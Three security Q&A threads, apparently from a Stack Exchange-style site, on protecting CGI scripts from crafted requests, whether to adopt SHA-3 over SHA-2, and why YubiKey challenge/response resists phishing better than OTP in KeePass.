I have some python scripts, such as one used to delete and add entries restricted to users logged in via .htaccess accounts.  The CGI, and JavaScript scripts interacting with them, however, are also located in the same folders.  Is this dangerous?  Can clients somehow call my python CGI scripts with their own CGI variables, or run my JavaScript scripts to do that for them?

How can I keep these scripts safe, if so?

If a user's browser is able to call (send HTTP request to) your Python scripts (with or without AJAX), then assume that an authenticated user will be able to send custom HTTP requests, including whatever variables (parameters) they want.

Always assume that not only your users are able to see your JavaScript code, but they're also able to modify it, override it, or completely disable it.

Putting your HTML, JS, or Python files in the same folder (directory) isn't a problem. But I'd advise you to move your scripts that contains sensitive information (like your database credentials) above your public_html directory (your www root).


Should we start using SHA-3? Possible Duplicate:
  What is SHA-3 and why did we change it?

SHA-3 has been finalized! So, what does secuirty.se think about the new hash funciton?  Should we start replacing all uses of md5/sha1/sha2 with Keccak?   Is it too soon?  Or do you think that the NIST process is rigorous enough.

First, there is no "real SHA-3" yet. In a few months, NIST will publish a specification which will define unambiguously what SHA-3 is. Unless there is a big blunder somewhere, we can predict that SHA-3 will be bit-to-bit compatible with the specification of Keccak as submitted for round 3 of the competition.

Then there is no reason to replace SHA-2 with (future-)SHA-3: neither scientifically (SHA-2 is not broken, far from it; and, for performance, Keccak is not terribly better than SHA-2, and often worse, depending on the architecture), nor administratively (the NIST people themselves posit that there is no need to replace SHA-2 with SHA-3).

There are reasons to replace MD5 and SHA-1 with SHA-2 (or SHA-3 in the future) but these reasons were already valid last week and you should already be doing it.

Algorithm agility is an important quality of protocols -- but that's a question of protocol design. People who are qualified to design security protocols already know it, and the other should refrain from designing protocols.


Which is more secure Yubikey + Keepass using Challenge/Response or Yubikey + Keepass using OTP? I use a Windows 10 PC and an Android phone with Keepass.

I would like to add a second factor on top of my master password that works with both Windows 10 and my Android phone.

Between the two support methods of authentication, which one is more secure?

Yubikey + Keepass 2 using Challenge/Response
Yubikey + Keepass 2 using OTP

Thanks in advance.

One important difference between OTPs and challenge/response schemes is that the first can be spoofed, and the second cannot. Suppose somebody sets up a phishing UI for KeePass, and you enter your password into it without realizing that it's not the legit one. The attacker realizes that the password isn't enough, you have MFA enabled. So far, so good.

If you use OTP, though, all the attacker needs to do is show the usual OTP entry box. You tap your Yubikey, it sends the OTP to the attacker, attacker forwards it to KeePass, and boom they've got access to your KeePass vault. If you instead use Challenge/Response, then the Yubikey's response is based on the challenge from the app. The attacker doesn't know the correct challenge to send for KeePass, so they can't spoof it.

Note that this distinction probably doesn't matter that much for a thick-client local app like KeePass, but it definitely matters for anything that does remote authentication. For example, if you're logging into a web app like Gmail, a phishing page can spoof the login UI and the OTP UI just fine. However, a phishing page cannot spoof the challenge/response flow, because that's based on the actual site being visited, and your browser (and therefore the Yubikey) will send a different challenge even if it looks the same to you.

In fact, challenge-response systems like this are the only method I know of that provides pretty strong security against phishing attacks. Everything else involving a true second factor - OTP, SMS, even push notifications - can be spoofed, and you will take the approve the authentication check just like normal because, as far as you know, you are logging in just like normal.